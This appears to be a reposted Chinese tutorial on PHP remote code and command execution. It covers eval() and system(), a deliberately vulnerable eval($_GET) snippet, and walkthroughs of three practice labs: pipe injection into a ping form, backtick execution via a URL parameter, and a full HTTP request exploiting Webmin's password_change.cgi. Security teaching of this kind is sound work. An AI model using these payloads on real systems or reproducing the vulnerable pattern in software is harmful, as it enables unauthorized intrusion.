IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> WEB漏洞—RCE 代码及命令执行漏洞 -> 正文阅读

[PHP知识库]WEB漏洞—RCE 代码及命令执行漏洞

什么是RCE?

指的是远程命令/代码执行(remote command/code execute)

在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
在这里插入图片描述

容易产生此漏洞的地方

查看上面思维导图 “产生

相关函数

首先了解一个函数:eval()函数
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
即:eval(phpcode)

<?php
$code=$_GET['x'];
eval($code);

//http://127.0.0.1:8080/test.php?x=phpinfo();
//$code=phhinfo();
//eval(phpinfo(););
?>

java、python等语言都是同理。

再来了解一个函数:system()函数
执行外部程序并显示输出资料。
system语法: string system(string command, int [return_var]);
system返回值: 字符串
System()函数的主要功能是在系统权限允许的情况是执行系统命令,windows系统和Linux系统都可以执行,Windows系统下可执行可执行文件(.exe、.bat等),也可执行cmd命令,Linux下用途更广,因为Linux系统就是基于命令行的,如基本的ls、cp、rm等。

    <?php
    system(‘ipconfig’,$callback);
    echo $callback;
    ?>

漏洞形成条件

1、有可控变量
2、有漏洞函数

漏洞复现

一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,如图

这是“墨者”里的一个命令执行漏洞靶场
通过输入IP可以ping出连接情况。于是这里就能够做RCE漏洞测试了。
在这里插入图片描述
测试中发现,该输入框只允许输入IP值。
在这里插入图片描述

知识点:“|”(管道符)这个符号,可以通过此符号同时执行多条命令。
在这里插入图片描述

由于这里前端加上了IP输入验证,所以我们可以通过修改数据包内容,在ip值后面加上“|”符号执行后面的“pwd”命令。
在这里插入图片描述
key这个文件中就是这个靶场通关密钥。

复现第二个靶场——PHP代码分析溯源
在这里插入图片描述
关卡内容如图
在这里插入图片描述
通过在线PHP代码运行可得出,eval函数中的代码执行的意思为
在这里插入图片描述

上面代码的意思应该为
在这里插入图片描述
由此可以得出在URL中加入:?a=ls 从而得出文件列表
以及?a=tac key=(文件名).PHP 得出PHP文件内容

知识点:虽然函数用到eval(),但是在Linux中反引号" ` "包起来的内容会被系统命令执行。所以上面a参数后跟的是系统命令。
反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。尽管可以通过输入字符或者字符串来创建变量值,也可以获取来自于其他Linux命令的值。为把Linux命令的结果赋予变量,实现需要执行这个命令。如果在命令行上把Linux命令放在反引号中,这个命令会首先被执行,其结果会成为命令行的一个参数。在赋值时,通过把命令放在反引号中,以便于首先执行,命令的执行结果会被赋予一个变量。反引号可以被视为由要执行命令组成的表达式,其结果会被赋予变量。组成命令的字符本身不会被赋予。在下面的范例中,命令ls*.c被执行,其结果然后被赋予变量listc。ls*.c会生成具有.c扩展名的所有文件列表。这个文件列表随后被赋予变量listc。

    $ listc=`ls *.c` 
    $ echo $listc 
    main.c prog.c lib.c 

第三个靶场尝试黑盒测试
在这里插入图片描述
页面如图
在这里插入图片描述
通过百度得知:
Webmin是功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。

不管它是牛是马,网上寻找相关漏洞
https://www.cnblogs.com/whoami101/p/11465877.html

通过抓包修改其数据包如下

POST /password_change.cgi HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://127.0.0.1:10000/password_change.cgi/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
cache-control: no-cache

user=rootxx&pam=&expired=2&old=id&new1=test2&new2=test2

得到结果
在这里插入图片描述
将数据包中“old=id”改为“old=ls”,得到当前目录中文件
在这里插入图片描述
复现RCE成功

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-24 10:36:11  更:2022-01-24 10:37:19 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:44:05-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码